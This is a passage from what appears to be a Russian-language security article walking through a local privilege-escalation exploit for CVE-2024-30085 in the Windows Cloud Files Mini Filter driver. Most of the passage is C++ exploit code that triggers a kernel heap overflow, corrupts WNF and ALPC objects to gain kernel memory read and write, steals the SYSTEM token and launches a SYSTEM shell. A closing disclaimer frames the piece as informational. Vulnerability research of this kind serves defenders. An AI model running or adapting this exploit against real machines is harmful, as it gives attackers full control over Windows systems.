DWORD ReparseDataBufferLength = 0x4000;
PREPARSE_DATA_BUFFER pReparseDataBuffer = (PREPARSE_DATA_BUFFER)calloc(ReparseDataBufferLength, 1);
memset(pReparseDataBuffer, 0x0, ReparseDataBufferLength);
createReparsePoint(pReparseDataBuffer, ReparseDataBufferLength);
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
PREPARSE_CLD_BITMAP bitmap0 = (PREPARSE_CLD_BITMAP)&pReparseCldBuffer->bitmap0;
createBitmap(bitmap0);
pReparseCldBuffer->Crc32 = RtlComputeCrc32(0, (BYTE*)(&pReparseCldBuffer->Size), ReparseDataBufferLength - 0x14);
Триггерим переполнение:
trigger(dir, (BYTE*)pReparseDataBuffer, ReparseDataBufferLength);
RemoveDirectoryW(dir);
std::this_thread::sleep_for(std::chrono::seconds(60));
Удаление папки dir
необходимо, потому что в случае неудачи система рухнет и будет падать при последующих перезагрузках. А задержка нужна, чтобы дать время произойти переполнению.
Далее происходит поиск захваченного объекта _WNF_NAME_INSTANCE
:
INT32 wnfCorruptedNameIndex = WnfFindCorruptedName(portsCount);
if (wnfCorruptedNameIndex == -1) {
printf("[-] Corrupted Wnf are not found\n");
return -1;
}
printf("[+] Found corrupted Wnf at index %d\n", wnfCorruptedNameIndex);
После чего подменяем нулевой хэндл в таблице _ALPC_HANDLE_ENTRY
:
BYTE* fakeReserve = AlpcGetFakeMessage();
UINT32 wnfOriginalDataSize = 0xff0;
std::vector<UINT8> corruptAlpc;
UINT32 corruptAlpcSize = wnfOriginalDataSize + 0x8; // overflow one handle ptr
corruptAlpc.reserve(corruptAlpcSize);
memset(corruptAlpc.data(), 'W', wnfOriginalDataSize);
*((BYTE**)(corruptAlpc.data() + wnfOriginalDataSize)) = fakeReserve;
// corrupt Alpc handle
if (!WnfRelativeWrite(wnfCorruptedNameIndex, corruptAlpc.data(), corruptAlpcSize)) {
printf("[-] wnfRelativeWrite failed\n");
return -1;
}
И применяем технику Token Stealing в финале:
// read system token
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
AlpcArbitraryRead(portsCount, pipeAttributeAddr, systemEPROCaddr, outputData, 0x1000);
ULONG tokenOffset = 0x4b8;
ULONG_PTR systemTtoken = *(ULONG_PTR*)(outputData + tokenOffset);
if (!systemTtoken) {
printf("[-] System TOKEN are not found\n");
return -1;
}
printf("[+] System TOKEN: %p\n", systemTtoken);
ULONG_PTR targetToken = EPROCaddr + tokenOffset;
ULONG_PTR* payload = (ULONG_PTR*)calloc(1, 0x8);
payload[0] = systemTtoken;
// replace target token with system token
BOOL bRetNoMatter = AlpcArbitraryWrite(portsCount, (BYTE*)targetToken, (BYTE*)payload, 0x8); // returns false, but writting actually works
STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0 };
BOOL bRet = CreateProcess(
"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation
);
if (!bRet) {
printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
return -1;
}
Слить адреса токенов можно через метод NtQuerySystemInformation
. Пример есть у Нассима. А результат успешной работы эксплойта выглядит так.

Результат
В результате, используя уязвимость CVE-2024-30085 в драйвере Windows Cloud Files Mini Filter и связку WNF + ALPC, мы создали примитивы на чтение и запись в ядерную память. Благодаря чему, украли системный токен и запустили терминал с правами NT AUTHORITY\SYSTEM.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в интернете. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.